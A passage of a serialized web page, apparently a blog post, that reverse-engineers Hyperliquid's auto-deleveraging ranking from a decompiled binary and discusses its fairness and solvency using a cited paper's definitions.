position.",{"type":26,"tag":39,"props":1289,"children":1290},{},[1291,1293,1299,1301,1307,1309,1315],{"type":32,"value":1292},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":26,"tag":83,"props":1294,"children":1296},{"className":1295},[],[1297],{"type":32,"value":1298},"adl_output",{"type":32,"value":1300}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":26,"tag":83,"props":1302,"children":1304},{"className":1303},[],[1305],{"type":32,"value":1306},"position_id",{"type":32,"value":1308}," and ",{"type":26,"tag":83,"props":1310,"children":1312},{"className":1311},[],[1313],{"type":32,"value":1314},"position_shortfall",{"type":32,"value":180},{"type":26,"tag":182,"props":1317,"children":1320},{"addr":590,"line-start":1318,"line-end":1319},"2377","2469",[],{"type":26,"tag":39,"props":1322,"children":1323},{},[1324,1326,1332],{"type":32,"value":1325},"Afterwards we can finally loop over the B-tree containing ",{"type":26,"tag":83,"props":1327,"children":1329},{"className":1328},[],[1330],{"type":32,"value":1331},"(position_id, cut)",{"type":32,"value":1333},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":26,"tag":39,"props":1335,"children":1336},{},[1337,1339,1344],{"type":32,"value":1338},"The final phase of ",{"type":26,"tag":83,"props":1340,"children":1342},{"className":1341},[],[1343],{"type":32,"value":544},{"type":32,"value":1345}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":26,"tag":182,"props":1347,"children":1350},{"addr":590,"addr-start":1348,"addr-end":1349},"0x555556ac6d52","0x555556ac6de8",[],{"type":26,"tag":39,"props":1352,"children":1353},{},[1354],{"type":32,"value":1355},"How are positions chosen (sorted) to be deleveraged?",{"type":26,"tag":454,"props":1357,"children":1359},{"id":1358},"who-do-we-deleverage",[1360],{"type":32,"value":1361},"Who Do We Deleverage?",{"type":26,"tag":39,"props":1363,"children":1364},{},[1365],{"type":32,"value":1366},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":26,"tag":39,"props":1368,"children":1369},{},[1370],{"type":32,"value":1371},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":26,"tag":39,"props":1373,"children":1374},{},[1375,1377,1384],{"type":32,"value":1376},"More formally, fairness can be given multiple related definitions; see ",{"type":26,"tag":163,"props":1378,"children":1381},{"href":1379,"rel":1380},"https://arxiv.org/abs/2512.01112",[167],[1382],{"type":32,"value":1383},"this paper",{"type":32,"value":1385},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":26,"tag":39,"props":1387,"children":1388},{},[1389],{"type":32,"value":1390},"So, is Hyperliquid fair? Is it always solvent?",{"type":26,"tag":27,"props":1392,"children":1394},{"id":1393},"adl-score-computation",[1395],{"type":32,"value":1396},"ADL Score Computation",{"type":26,"tag":39,"props":1398,"children":1399},{},[1400,1402,1408,1410,1416,1418,1423],{"type":32,"value":1401},"The score function at ",{"type":26,"tag":83,"props":1403,"children":1405},{"className":1404},[],[1406],{"type":32,"value":1407},"compute_adl_ranking_score",{"type":32,"value":1409}," is core to answering this question. It's defined, most likely as an ",{"type":26,"tag":83,"props":1411,"children":1413},{"className":1412},[],[1414],{"type":32,"value":1415},"Ord",{"type":32,"value":1417}," implementation on some 20-byte address representation. A ",{"type":26,"tag":83,"props":1419,"children":1421},{"className":1420},[],[1422],{"type":32,"value":907},{"type":32,"value":1424}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":26,"tag":39,"props":1426,"children":1427},{},[1428,1430,1435,1437,1443,1445,1452,1454,1461],{"type":32,"value":1429},"Those sort routines are ",{"type":26,"tag":65,"props":1431,"children":1432},{},[1433],{"type":32,"value":1434},"generated by the compiler",{"type":32,"value":1436},": since Rust binaries include a lot of metadata by default in ",{"type":26,"tag":83,"props":1438,"children":1440},{"className":1439},[],[1441],{"type":32,"value":1442},".comment",{"type":32,"value":1444},", we may even manually ",{"type":26,"tag":163,"props":1446,"children":1449},{"href":1447,"rel":1448},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[167],[1450],{"type":32,"value":1451},"take advantage",{"type":32,"value":1453}," of this to recover the ",{"type":26,"tag":163,"props":1455,"children":1458},{"href":1456,"rel":1457},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[167],[1459],{"type":32,"value":1460},"exact source of library functions",{"type":32,"value":180},{"type":26,"tag":39,"props":1463,"children":1464},{},[1465,1467,1472],{"type":32,"value":1466},"Let's see how this ties back into the ",{"type":26,"tag":83,"props":1468,"children":1470},{"className":1469},[],[1471],{"type":32,"value":544},{"type":32,"value":1473},":",{"type":26,"tag":182,"props":1475,"children":1477},{"source":544,"target":1407,"direction":545,"path":1476},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":26,"tag":39,"props":1479,"children":1480},{},[1481],{"type":32,"value":1482},"And here's the main call site used for sorting:",{"type":26,"tag":182,"props":1484,"children":1487},{"addr":590,"line-start":1485,"line-end":1486},"2806","2814",[],{"type":26,"tag":27,"props":1489,"children":1491},{"id":1490},"ratio-1-effective-leverage",[1492],{"type":32,"value":1493},"Ratio 1: Effective Leverage",{"type":26,"tag":207,"props":1495,"children":1496},{},[1497],{"type":26,"tag":83,"props":1498,"children":1500},{"className":1499},[213,214],[1501],{"type":26,"tag":217,"props":1502,"children":1504},{"className":1503},[220],[1505],{"type":26,"tag":217,"props":1506,"children":1508},{"className":1507},[225],[1509],{"type":26,"tag":217,"props":1510,"children":1512},{"className":1511,"ariaHidden":231},[230],[1513,1545],{"type":26,"tag":217,"props":1514,"children":1516},{"className":1515},[236],[1517,1522,1532,1536,1541],{"type":26,"tag":217,"props":1518,"children":1521},{"className":1519,"style":1520},[241],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":1523,"children":1525},{"className":1524},[247,32],[1526],{"type":26,"tag":217,"props":1527,"children":1529},{"className":1528},[247],[1530],{"type":32,"value":1531},"effective leverage",{"type":26,"tag":217,"props":1533,"children":1535},{"className":1534,"style":259},[258],[],{"type":26,"tag":217,"props":1537,"children":1539},{"className":1538},[264],[1540],{"type":32,"value":267},{"type":26,"tag":217,"props":1542,"children":1544},{"className":1543,"style":259},[258],[],{"type":26,"tag":217,"props":1546,"children":1548},{"className":1547},[236],[1549,1554],{"type":26,"tag":217,"props":1550,"children":1553},{"className":1551,"style":1552},[241],"height:2.113em;vertical-align:-0.686em;",[],{"type":26,"tag":217,"props":1555,"children":1557},{"className":1556},[247],[1558,1562,1657],{"type":26,"tag":217,"props":1559,"children":1561},{"className":1560},[288,289],[],{"type":26,"tag":217,"props":1563,"children":1565},{"className":1564},[294],[1566],{"type":26,"tag":217,"props":1567,"children":1569},{"className":1568},[299,300],[1570,1645],{"type":26,"tag":217,"props":1571,"children":1573},{"className":1572},[305],[1574,1640],{"type":26,"tag":217,"props":1575,"children":1577},{"className":1576,"style":311},[310],[1578,1599,1610],{"type":26,"tag":217,"props":1579,"children":1580},{"style":315},[1581,1585],{"type":26,"tag":217,"props":1582,"children":1584},{"className":1583,"style":321},[320],[],{"type":26,"tag":217,"props":1586,"children":1588},{"className":1587},[247],[1589],{"type":26,"tag":217,"props":1590,"children":1592},{"className":1591},[247,32],[1593],{"type":26,"tag":217,"props":1594,"children":1596},{"className":1595},[247],[1597],{"type":32,"value":1598},"account value",{"type":26,"tag":217,"props":1600,"children":1601},{"style":361},[1602,1606],{"type":26,"tag":217,"props":1603,"children":1605},{"className":1604,"style":321},[320],[],{"type":26,"tag":217,"props":1607,"children":1609},{"className":1608,"style":371},[370],[],{"type":26,"tag":217,"props":1611,"children":1612},{"style":375},[1613,1617],{"type":26,"tag":217,"props":1614,"children":1616},{"className":1615,"style":321},[320],[],{"type":26,"tag":217,"props":1618,"children":1620},{"className":1619},[247],[1621,1626,1635],{"type":26,"tag":217,"props":1622,"children":1624},{"className":1623},[247],[1625],{"type":32,"value":390},{"type":26,"tag":217,"props":1627,"children":1629},{"className":1628},[247,32],[1630],{"type":26,"tag":217,"props":1631,"children":1633},{"className":1632},[247],[1634],{"type":32,"value":400},{"type":26,"tag":217,"props":1636,"children":1638},{"className":1637},[247],[1639],{"type":32,"value":390},{"type":26,"tag":217,"props":1641,"children":1643},{"className":1642},[409],[1644],{"type":32,"value":412},{"type":26,"tag":217,"props":1646,"children":1648},{"className":1647},[305],[1649],{"type":26,"tag":217,"props":1650,"children":1653},{"className":1651,"style":1652},[310],"height:0.686em;",[1654],{"type":26,"tag":217,"props":1655,"children":1656},{},[],{"type":26,"tag":217,"props":1658,"children":1660},{"className":1659},[428,289],[],{"type":26,"tag":39,"props":1662,"children":1663},{},[1664,1666,1672,1674,1680,1682,1688,1690,1696],{"type":32,"value":1665},"We can see in the decompilation below, through the SIMD noise, that ",{"type":26,"tag":83,"props":1667,"children":1669},{"className":1668},[],[1670],{"type":32,"value":1671},"abs_notional",{"type":32,"value":1673}," (unsigned), and ",{"type":26,"tag":83,"props":1675,"children":1677},{"className":1676},[],[1678],{"type":32,"value":1679},"float.d(rbx)",{"type":32,"value":1681}," is ",{"type":26,"tag":83,"props":1683,"children":1685},{"className":1684},[],[1686],{"type":32,"value":1687},"account_value",{"type":32,"value":1689}," (signed); the division is ",{"type":26,"tag":83,"props":1691,"children":1693},{"className":1692},[],[1694],{"type":32,"value":1695},"abs_notional / account_value",{"type":32,"value":180},{"type":26,"tag":39,"props":1698,"children":1699},{},[1700],{"type":32,"value":1701},"This tells us the risk multiplier that the user took on for this position.",{"type":26,"tag":182,"props":1703,"children":1707},{"addr":1704,"line-start":1705,"line-end":1706},"0x555556abb140","278","296",[],{"type":26,"tag":27,"props":1709,"children":1711},{"id":1710},"ratio-2-profit-ratio",[1712],{"type":32,"value":1713},"Ratio 2: Profit Ratio",{"type":26,"tag":207,"props":1715,"children":1716},{},[1717],{"type":26,"tag":83,"props":1718,"children":1720},{"className":1719},[213,214],[1721],{"type":26,"tag":217,"props":1722,"children":1724},{"className":1723},[220],[1725],{"type":26,"tag":217,"props":1726,"children":1728},{"className":1727},[225],[1729],{"type":26,"tag":217,"props":1730,"children":1732},{"className":1731,"ariaHidden":231},[230],[1733,1764],{"type":26,"tag":217,"props":1734,"children":1736},{"className":1735},[236],[1737,1741,1751,1755,1760],{"type":26,"tag":217,"props":1738,"children":1740},{"className":1739,"style":1520},[241],[],{"type":26,"tag":217,"props":1742,"children":1744},{"className":1743},[247,32],[1745],{"type":26,"tag":217,"props":1746,"children":1748},{"className":1747},[247],[1749],{"type":32,"value":1750},"profit ratio",{"type":26,"tag":217,"props":1752,"children":1754},{"className":1753,"style":259},[258],[],{"type":26,"tag":217,"props":1756,"children":1758},{"className":1757},[264],[1759],{"type":32,"value":267},{"type":26,"tag":217,"props":1761,"children":1763},{"className":1762,"style":259},[258],[],{"type":26,"tag":217,"props":1765,"children":1767},{"className":1766},[236],[1768,1772],{"type":26,"tag":217,"props":1769,"children":1771},{"className":1770,"style":279},[241],[],{"type":26,"tag":217,"props":1773,"children":1775},{"className":1774},[247],[1776,1780,1906],{"type":26,"tag":217,"props":1777,"children":1779},{"className":1778},[288,289],[],{"type":26,"tag":217,"props":1781,"children":1783},{"className":1782},[294],[1784],{"type":26,"tag":217,"props":1785,"children":1787},{"className":1786},[299,300],[1788,1895],{"type":26,"tag":217,"props":1789,"children":1791},{"className":1790},[305],[1792,1890],{"type":26,"tag":217,"props":1793,"children":1795},{"className":1794,"style":311},[310],[1796,1817,1828],{"type":26,"tag":217,"props":1797,"children":1798},{"style":315},[1799,1803],{"type":26,"tag":217,"props":1800,"children":1802},{"className":1801,"style":321},[320],[],{"type":26,"tag":217,"props":1804,"children":1806},{"className":1805},[247],[1807],{"type":26,"tag":217,"props":1808,"children":1810},{"className":1809},[247,32],[1811],{"type":26,"tag":217,"props":1812,"children":1814},{"className":1813},[247],[1815],{"type":32,"value":1816},"entry notional",{"type":26,"tag":217,"props":1818,"children":1819},{"style":361},[1820,1824],{"type":26,"tag":217,"props":1821,"children":1823},{"className":1822,"style":321},[320],[],{"type":26,"tag":217,"props":1825,"children":1827},{"className":1826,"style":371},[370],[],{"type":26,"tag":217,"props":1829,"children":1830},{"style":375},[1831,1835],{"type":26,"tag":217,"props":1832,"children":1834},{"className":1833,"style":321},[320],[],{"type":26,"tag":217,"props":1836,"children":1838},{"className":1837},[247],[1839,1846,1852,1862,1869,1874,1878,1884],{"type":26,"tag":217,"props":1840,"children":1843},{"className":1841},[1842],"mop",[1844],{"type":32,"value":1845},"max",{"type":26,"tag":217,"props":1847,"children":1849},{"className":1848},[288],[1850],{"type":32,"value":1851},"(",{"type":26,"tag":217,"props":1853,"children":1855},{"className":1854},[247,32],[1856],{"type":26,"tag":217,"props":1857,"children":1859},{"className":1858},[247],[1860],{"type":32,"value":1861},"pnl",{"type":26,"tag":217,"props":1863,"children":1866},{"className":1864},[1865],"mpunct",[1867],{"type":32,"value":1868},",",{"type":26,"tag":217,"props":1870,"children":1873},{"className":1871,"style":1872},[258],"margin-right:0.1667em;",[],{"type":26,"tag":217,"props":1875,"children":1877},{"className":1876,"style":1872},[258],[],{"type":26,"tag":217,"props":1879,"children":1881},{"className":1880},[247],[1882],{"type":32,"value":1883},"0",{"type":26,"tag":217,"props":1885,"children":1887},{"className":1886},[428],[1888],{"type":32,"value":1889},")",{"type":26,"tag":217,"props":1891,"children":1893},{"className":1892},[409],[1894],{"type":32,"value":412},{"type":26,"tag":217,"props":1896,"children":1898},{"className":1897},[305],[1899],{"type":26,"tag":217,"props":1900,"children":1902},{"className":1901,"style":420},[310],[1903],{"type":26,"tag":217,"props":1904,"children":1905},{},[],{"type":26,"tag":217,"props":1907,"children":1909},{"className":1908},[428,289],[],{"type":26,"tag":39,"props":1911,"children":1912},{},[1913,1915,1921],{"type":32,"value":1914},"It uses entry notional (",{"type":26,"tag":83,"props":1916,"children":1918},{"className":1917},[],[1919],{"type":32,"value":1920},"r14_2",{"type":32,"value":1922},") as the divisor. PNL is clamped to non-negative before division.",{"type":26,"tag":39,"props":1924,"children":1925},{},[1926],{"type":32,"value":1927},"This basically tells us how well the user's bet went.",{"type":26,"tag":182,"props":1929,"children":1933},{"addr":1930,"addr-start":1931,"addr-end":1932},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":26,"tag":39,"props":1935,"children":1936},{},[1937,1939,1945,1947,1953],{"type":32,"value":1938},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":26,"tag":83,"props":1940,"children":1942},{"className":1941},[],[1943],{"type":32,"value":1944},"1e-8",{"type":32,"value":1946},", in order not to cancel each other out. The final ADL ranking score is ",{"type":26,"tag":83,"props":1948,"children":1950},{"className":1949},[],[1951],{"type":32,"value":1952},"effective_leverage * profit_ratio",{"type":32,"value":1954},", consistent with both ratio directions and the max clamp on PNL.",{"type":26,"tag":39,"props":1956,"children":1957},{},[1958],{"type":32,"value":1959},"So, in essence, we look for risky and profitable positions!",{"type":26,"tag":607,"props":1961,"children":1963},{"id":1962},"partial-and-total-adl",[1964],{"type":32,"value":1965},"Partial and Total ADL",{"type":26,"tag":39,"props":1967,"children":1968},{},[1969],{"type":32,"value":1970},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":26,"tag":39,"props":1972,"children":1973},{},[1974],{"type":32,"value":1975},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":26,"tag":39,"props":1977,"children":1978},{},[1979,1981,1986],{"type":32,"value":1980},"So essentially, in pseudocode, the whole latter part of ",{"type":26,"tag":83,"props":1982,"children":1984},{"className":1983},[],[1985],{"type":32,"value":544},{"type":32,"value":1987}," boils down to:",{"type":26,"tag":182,"props":1989,"children":1992},{"addr":590,"line-start":1990,"line-end":1991},"3252","3632",[],{"type":26,"tag":39,"props":1994,"children":1995},{},[1996],{"type":32,"value":1997},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":26,"tag":454,"props":1999,"children":2001},{"id":2000},"branches",[2002],{"type":32,"value":2003},"Branches",{"type":26,"tag":39,"props":2005,"children":2006},{},[2007],{"type":32,"value":2008},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":26,"tag":39,"props":2010,"children":2011},{},[2012],{"type":32,"value":2013},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":26,"tag":454,"props":2015,"children":2017},{"id":2016},"financial-conclusions",[2018],{"type":32,"value":2019},"Financial Conclusions",{"type":26,"tag":27,"props":2021,"children":2023},{"id":2022},"fairness-revenue-solvency-trilemma",[2024],{"type":32,"value":2025},"Fairness, Revenue, Solvency Trilemma",{"type":26,"tag":39,"props":2027,"children":2028},{},[2029,2031,2037],{"type":32,"value":2030},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":26,"tag":163,"props":2032,"children":2034},{"href":1379,"rel":2033},[167],[2035],{"type":32,"value":2036},"the paper mentioned before",{"type":32,"value":2038},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":26,"tag":2040,"props":2041,"children":2042},"ul",{},[2043,2054,2064],{"type":26,"tag":2044,"props":2045,"children":2046},"li",{},[2047,2052],{"type":26,"tag":65,"props":2048,"children":2049},{},[2050],{"type":32,"value":2051},"Solvency",{"type":32,"value":2053},": can the platform pay every trader out?",{"type":26,"tag":2044,"props":2055,"children":2056},{},[2057,2062],{"type":26,"tag":65,"props":2058,"children":2059},{},[2060],{"type":32,"value":2061},"Fairness",{"type":32,"value":2063},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":26,"tag":2044,"props":2065,"children":2066},{},[2067,2072],{"type":26,"tag":65,"props":2068,"children":2069},{},[2070],{"type":32,"value":2071},"Revenue",{"type":32,"value":2073},": the fraction of total winner PNL that survives after deleveraging.",{"type":26,"tag":39,"props":2075,"children":2076},{},[2077],{"type":32,"value":2078},"Let's borrow these definitions from the paper:",{"type":26,"tag":207,"props":2080,"children":2081},{},[2082],{"type":26,"tag":83,"props":2083,"children":2085},{"className":2084},[213,214],[2086],{"type":26,"tag":217,"props":2087,"children":2089},{"className":2088},[220],[2090],{"type":26,"tag":217,"props":2091,"children":2093},{"className":2092},[225],[2094],{"type":26,"tag":217,"props":2095,"children":2097},{"className":2096,"ariaHidden":231},[230],[2098],{"type":26,"tag":217,"props":2099,"children":2101},{"className":2100},[236],[2102,2107],{"type":26,"tag":217,"props":2103,"children":2106},{"className":2104,"style":2105},[241],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":26,"tag":217,"props":2108,"children":2110},{"className":2109},[247],[2111],{"type":26,"tag":217,"props":2112,"children":2114},{"className":2113},[955],[2115,2969],{"type":26,"tag":217,"props":2116,"children":2118},{"className":2117},[960],[2119],{"type":26,"tag":217,"props":2120,"children":2122},{"className":2121},[299,300],[2123,2957],{"type":26,"tag":217,"props":2124,"children":2126},{"className":2125},[305],[2127,2952],{"type":26,"tag":217,"props":2128,"children":2131},{"className":2129,"style":2130},[310],"height:11.8392em;",[2132,2215,2234,2307,2379,2449,2521,2591,2661,2734,2806,2878],{"type":26,"tag":217,"props":2133,"children":2135},{"style":2134},"top:-14.3707em;",[2136,2141],{"type":26,"tag":217,"props":2137,"children":2140},{"className":2138,"style":2139},[320],"height:3.3714em;",[],{"type":26,"tag":217,"props":2142,"children":2144},{"className":2143},[247],[2145],{"type":26,"tag":217,"props":2146,"children":2148},{"className":2147},[247],[2149,2157],{"type":26,"tag":217,"props":2150,"children":2154},{"className":2151,"style":2153},[247,2152],"mathnormal","margin-right:0.13889em;",[2155],{"type":32,"value":2156},"P",{"type":26,"tag":217,"props":2158,"children":2161},{"className":2159},[2160],"msupsub",[2162],{"type":26,"tag":217,"props":2163,"children":2165},{"className":2164},[299,300],[2166,2203],{"type":26,"tag":217,"props":2167,"children":2169},{"className":2168},[305],[2170,2198],{"type":26,"tag":217,"props":2171,"children":2174},{"className":2172,"style":2173},[310],"height:0.1514em;",[2175],{"type":26,"tag":217,"props":2176,"children":2178},{"style":2177},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[2179,2184],{"type":26,"tag":217,"props":2180,"children":2183},{"className":2181,"style":2182},[320],"height:2.7em;",[],{"type":26,"tag":217,"props":2185,"children":2191},{"className":2186},[2187,2188,2189,2190],"sizing","reset-size6","size3","mtight",[2192],{"type":26,"tag":217,"props":2193,"children":2195},{"className":2194},[247,2152,2190],[2196],{"type":32,"value":2197},"n",{"type":26,"tag":217,"props":2199,"children":2201},{"className":2200},[409],[2202],{"type":32,"value":412},{"type":26,"tag":217,"props":2204,"children":2206},{"className":2205},[305],[2207],{"type":26,"tag":217,"props":2208,"children":2211},{"className":2209,"style":2210},[310],"height:0.15em;",[2212],{"type":26,"tag":217,"props":2213,"children":2214},{},[],{"type":26,"tag":217,"props":2216,"children":2218},{"style":2217},"top:-12.8707em;",[2219,2223],{"type":26,"tag":217,"props":2220,"children":2222},{"className":2221,"style":2139},[320],[],{"type":26,"tag":217,"props":2224,"children":2226},{"className":2225},[247],[2227],{"type":26,"tag":217,"props":2228,"children":2231},{"className":2229,"style":2230},[247,2152],"margin-right:0.07847em;",[2232],{"type":32,"value":2233},"I",{"type":26,"tag":217,"props":2235,"children":2237},{"style":2236},"top:-10.8392em;",[2238,2242],{"type":26,"tag":217,"props":2239,"children":2241},{"className":2240,"style":2139},[320],[],{"type":26,"tag":217,"props":2243,"children":2245},{"className":2244},[247],[2246],{"type":26,"tag":217,"props":2247,"children":2249},{"className":2248},[247],[2250,2256],{"type":26,"tag":217,"props":2251,"children":2253},{"className":2252},[247,2152],[2254],{"type":32,"value":2255},"c",{"type":26,"tag":217,"props":2257,"children":2259},{"className":2258},[2160],[2260],{"type":26,"tag":217,"props":2261,"children":2263},{"className":2262},[299,300],[2264,2296],{"type":26,"tag":217,"props":2265,"children":2267},{"className":2266},[305],[2268,2291],{"type":26,"tag":217,"props":2269,"children":2272},{"className":2270,"style":2271},[310],"height:0.3117em;",[2273],{"type":26,"tag":217,"props":2274,"children":2276},{"style":2275},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[2277,2281],{"type":26,"tag":217,"props":2278,"children":2280},{"className":2279,"style":2182},[320],[],{"type":26,"tag":217,"props":2282,"children":2284},{"className":2283},[2187,2188,2189,2190],[2285],{"type":26,"tag":217,"props":2286,"children":2288},{"className":2287},[247,2152,2190],[2289],{"type":32,"value":2290},"i",{"type":26,"tag":217,"props":2292,"children":2294},{"className":2293},[409],[2295],{"type":32,"value":412},{"type":26,"tag":217,"props":2297,"children":2299},{"className":2298},[305],[2300],{"type":26,"tag":217,"props":2301,"children":2303},{"className":2302,"style":2210},[310],[2304],{"type":26,"tag":217,"props":2305,"children":2306},{},[],{"type":26,"tag":217,"props":2308,"children":2310},{"style":2309},"top:-8.8188em;",[2311,2315],{"type":26,"tag":217,"props":2312,"children":2314},{"className":2313,"style":2139},[320],[],{"type":26,"tag":217,"props":2316,"children":2318},{"className":2317},[247],[2319],{"type":26,"tag":217,"props":2320,"children":2322},{"className":2321},[247],[2323,2330],{"type":26,"tag":217,"props":2324,"children":2327},{"className":2325,"style":2326},[247,2152],"margin-right:0.03588em;",[2328],{"type":32,"value":2329},"π",{"type":26,"tag":217,"props":2331,"children":2333},{"className":2332},[2160],[2334],{"type":26,"tag":217,"props":2335,"children":2337},{"className":2336},[299,300],[2338,2368],{"type":26,"tag":217,"props":2339,"children":2341},{"className":2340},[305],[2342,2363],{"type":26,"tag":217,"props":2343,"children":2345},{"className":2344,"style":2271},[310],[2346],{"type":26,"tag":217,"props":2347,"children":2349},{"style":2348},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[2350,2354],{"type":26,"tag":217,"props":2351,"children":2353},{"className":2352,"style":2182},[320],[],{"type":26,"tag":217,"props":2355,"children":2357},{"className":2356},[2187,2188,2189,2190],[2358],{"type":26,"tag":217,"props":2359,"children":2361},{"className":2360},[247,2152,2190],[2362],{"type":32,"value":2290},{"type":26,"tag":217,"props":2364,"children":2366},{"className":2365},[409],[2367],{"type":32,"value":412},{"type":26,"tag":217,"props":2369,"children":2371},{"className":2370},[305],[2372],{"type":26,"tag":217,"props":2373,"children":2375},{"className":2374,"style":2210},[310],[2376],{"type":26,"tag":217,"props":2377,"children":2378},{},[],{"type":26,"tag":217,"props":2380,"children":2382},{"style":2381},"top:-7.3188em;",[2383,2387],{"type":26,"tag":217,"props":2384,"children":2386},{"className":2385,"style":2139},[320],[],{"type":26,"tag":217,"props":2388,"children":2390},{"className":2389},[247],[2391],{"type":26,"tag":217,"props":2392,"children":2394},{"className":2393},[247],[2395,2401],{"type":26,"tag":217,"props":2396,"children":2398},{"className":2397},[247,2152],[2399],{"type":32,"value":2400},"e",{"type":26,"tag":217,"props":2402,"children":2404},{"className":2403},[2160],[2405],{"type":26,"tag":217,"props":2406,"children":2408},{"className":2407},[299,300],[2409,2438],{"type":26,"tag":217,"props":2410,"children":2412},{"className":2411},[305],[2413,2433],{"type":26,"tag":217,"props":2414,"children":2416},{"className":2415,"style":2271},[310],[2417],{"type":26,"tag":217,"props":2418,"children":2419},{"style":2275},[2420,2424],{"type":26,"tag":217,"props":2421,"children":2423},{"className":2422,"style":2182},[320],[],{"type":26,"tag":217,"props":2425,"children":2427},{"className":2426},[2187,2188,2189,2190],[2428],{"type":26,"tag":217,"props":2429,"children":2431},{"className":2430},[247,2152,2190],[2432],{"type":32,"value":2290},{"type":26,"tag":217,"props":2434,"children":2436},{"className":2435},[409],[2437],{"type":32,"value":412},{"type":26,"tag":217,"props":2439,"children":2441},{"className":2440},[305],[2442],{"type":26,"tag":217,"props":2443,"children":2445},{"className":2444,"style":2210},[310],[2446],{"type":26,"tag":217,"props":2447,"children":2448},{},[],{"type":26,"tag":217,"props":2450,"children":2452},{"style":2451},"top:-5.8188em;",[2453,2457],{"type":26,"tag":217,"props":2454,"children":2456},{"className":2455,"style":2139},[320],[],{"type":26,"tag":217,"props":2458,"children":2460},{"className":2459},[247],[2461],{"type":26,"tag":217,"props":2462,"children":2464},{"className":2463},[247],[2465,2472],{"type":26,"tag":217,"props":2466,"children":2469},{"className":2467,"style":2468},[247,2152],"margin-right:0.02691em;",[2470],{"type":32,"value":2471},"w",{"type":26,"tag":217,"props":2473,"children":2475},{"className":2474},[2160],[2476],{"type":26,"tag":217,"props":2477,"children":2479},{"className":2478},[299,300],[2480,2510],{"type":26,"tag":217,"props":2481,"children":2483},{"className":2482},[305],[2484,2505],{"type":26,"tag":217,"props":2485,"children":2487},{"className":2486,"style":2271},[310],[2488],{"type":26,"tag":217,"props":2489,"children":2491},{"style":2490},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[2492,2496],{"type":26,"tag":217,"props":2493,"children":2495},{"className":2494,"style":2182},[320],[],{"type":26,"tag":217,"props":2497,"children":2499},{"className":2498},[2187,2188,2189,2190],[2500],{"type":26,"tag":217,"props":2501,"children":2503},{"className":2502},[247,2152,2190],[2504],{"type":32,"value":2290},{"type":26,"tag":217,"props":2506,"children":2508},{"className":2507},[409],[2509],{"type":32,"value":412},{"type":26,"tag":217,"props":2511,"children":2513},{"className":2512},[305],[2514],{"type":26,"tag":217,"props":2515,"children":2517},{"className":2516,"style":2210},[310],[2518],{"type":26,"tag":217,"props":2519,"children":2520},{},[],{"type":26,"tag":217,"props":2522,"children":2524},{"style":2523},"top:-4.3188em;",[2525,2529],{"type":26,"tag":217,"props":2526,"children":2528},{"className":2527,"style":2139},[320],[],{"type":26,"tag":217,"props":2530,"children":2532},{"className":2531},[247],[2533],{"type":26,"tag":217,"props":2534,"children":2536},{"className":2535},[247],[2537,2543],{"type":26,"tag":217,"props":2538,"children":2540},{"className":2539},[247,2152],[2541],{"type":32,"value":2542},"x",{"type":26,"tag":217,"props":2544,"children":2546},{"className":2545},[2160],[2547],{"type":26,"tag":217,"props":2548,"children":2550},{"className":2549},[299,300],[2551,2580],{"type":26,"tag":217,"props":2552,"children":2554},{"className":2553},[305],[2555,2575],{"type":26,"tag":217,"props":2556,"children":2558},{"className":2557,"style":2271},[310],[2559],{"type":26,"tag":217,"props":2560,"children":2561},{"style":2275},[2562,2566],{"type":26,"tag":217,"props":2563,"children":2565},{"className":2564,"style":2182},[320],[],{"type":26,"tag":217,"props":2567,"children":2569},{"className":2568},[2187,2188,2189,2190],[2570],{"type":26,"tag":217,"props":2571,"children":2573},{"className":2572},[247,2152,2190],[2574],{"type":32,"value":2290},{"type":26,"tag":217,"props":2576,"children":2578},{"className":2577},[409],[2579],{"type":32,"value":412},{"type":26,"tag":217,"props":2581,"children":2583},{"className":2582},[305],[2584],{"type":26,"tag":217,"props":2585,"children":2587},{"className":2586,"style":2210},[310],[2588],{"type":26,"tag":217,"props":2589,"children":2590},{},[],{"type":26,"tag":217,"props":2592,"children":2594},{"style":2593},"top:-2.5512em;",[2595,2599],{"type":26,"tag":217,"props":2596,"children":2598},{"className":2597,"style":2139},[320],[],{"type":26,"tag":217,"props":2600,"children":2602},{"className":2601},[247],[2603],{"type":26,"tag":217,"props":2604,"children":2606},{"className":2605},[247],[2607,2613],{"type":26,"tag":217,"props":2608,"children":2610},{"className":2609},[247,2152],[2611],{"type":32,"value":2612},"h",{"type":26,"tag":217,"props":2614,"children":2616},{"className":2615},[2160],[2617],{"type":26,"tag":217,"props":2618,"children":2620},{"className":2619},[299,300],[2621,2650],{"type":26,"tag":217,"props":2622,"children":2624},{